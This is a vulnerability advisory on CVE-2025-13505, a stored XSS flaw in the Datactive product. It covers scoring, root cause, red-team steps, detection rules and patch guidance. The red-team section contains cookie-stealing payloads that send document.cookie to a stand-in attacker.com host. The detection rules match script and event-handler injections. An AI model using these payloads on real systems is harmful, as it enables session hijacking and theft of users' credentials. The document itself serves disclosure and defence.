CVE-2025-13505

Executive Summary

CVE-2025-13505 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Datactive, a product by Datateam Information Technologies Inc. The vulnerability exists in versions from 2.13.34 up to (but not including) 2.14.0.6. An authenticated attacker with low privileges can inject malicious scripts into web pages generated by the application. When other users view the affected page, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 4.8 (Medium), and no public exploit code or proof-of-concept is currently available. The vendor has released a patched version (2.14.0.6), but the patch status is marked as UNKNOWN/UNPATCHED in the NVD, indicating potential delays in distribution.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid low-privileged account.
• User Interaction (UI): Required – The victim must click on or view the malicious content.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the Stored XSS nature allows persistent attacks that can affect multiple users without repeated exploitation. The low privileges required increase the risk in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Datactive application. The application fails to properly neutralize user-supplied input during web page generation. Specifically, it does not sanitize or encode script-related HTML tags before storing them in the database and later rendering them in a web page.

Attack Flow:

1. An attacker with a low-privileged account logs into Datactive.
2. The attacker identifies an input field (e.g., a comment, profile field, or data entry form) that is not properly sanitized.
3. The attacker injects a malicious payload, such as <script>alert('XSS')</script> or a more sophisticated payload that steals session cookies.
4. The application stores this payload in its database without encoding.
5. When another user (including administrators) views the page containing the stored data, the browser executes the injected script.
6. The script can perform actions on behalf of the victim, such as exfiltrating session tokens, modifying page content, or performing actions with the victim's privileges.

Root Cause: The application uses improper neutralization of input during web page generation. It likely uses a templating engine or direct string concatenation without proper output encoding (e.g., HTML entity encoding). The vulnerability is specifically in the handling of script-related HTML tags, indicating that basic XSS filters (like stripping <script> tags) are missing or insufficient.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without encoding
echo "<div class='comment'>" . $userInput . "</div>";

Patched Code (Conceptual):

// Patched: Output encoded using htmlspecialchars
echo "<div class='comment'>" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version (2.14.0.6) likely implements proper output encoding for all user-supplied data rendered in HTML contexts. The fix may also include input validation and a Content Security Policy (CSP) as defense-in-depth.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privileged account on a vulnerable Datactive instance (version 2.13.34 to 2.14.0.5).
• A target input field that is not sanitized (e.g., a comment box, profile description, or data entry form).

Exploitation Steps:

1. Log in to the Datactive application with the low-privileged account.
2. Navigate to a page with an unsanitized input field (e.g., "Add Comment" or "Update Profile").
3. Inject the following payload into the input field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form. The payload is stored in the database.
5. Wait for an administrator or another user to view the page containing the stored payload.
6. The victim's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection Steps:

1. Monitor web application logs for unusual input patterns, such as <script>, onerror, or javascript: in user-supplied fields.
2. Use a Web Application Firewall (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly scan the application for stored XSS using automated tools.

Lab Setup:

• Deploy a vulnerable Datactive instance (version 2.13.34) in an isolated environment.
• Use a browser with developer tools to inspect network requests and responses.
• Set up a simple HTTP server (e.g., using Python) to capture exfiltrated data:

  python3 -m http.server 8080
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL (e.g., GET /steal?cookie=...).
  • Unusual Referer headers pointing to Datactive pages with injected content.

• Host IOCs:

  • Presence of <script> tags or event handlers (e.g., onerror, onload) in database entries.
  • Unexpected JavaScript files or inline scripts in the application's HTML source.

• Log IOCs:

  • Web server logs showing requests with XSS payloads in POST parameters.
  • Application logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Datactive {
    meta:
        description = "Detects stored XSS payloads in Datactive database dumps or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13505"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS Payload in Datactive Input
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Datactive web application logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in user input (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13505 Stored XSS Payload in Datactive"; flow:to_server,established; content:"POST"; http_method; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Datactive to version 2.14.0.6 or later. This is the only official fix.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads.
3. Review and sanitize all existing user-supplied data in the database to remove any injected scripts.

Long-Term Mitigations:

1. Implement output encoding for all user-supplied data rendered in HTML contexts (use htmlspecialchars in PHP or equivalent in other languages).
2. Deploy a Content Security Policy (CSP) header to restrict script execution to trusted sources.
3. Conduct regular security audits and penetration testing.
4. Train developers on secure coding practices, especially regarding XSS prevention.

Workarounds (if patching is delayed):

• Disable the vulnerable input fields temporarily.
• Use a reverse proxy with XSS filtering capabilities.
• Monitor logs for suspicious activity and respond quickly.

Valters IT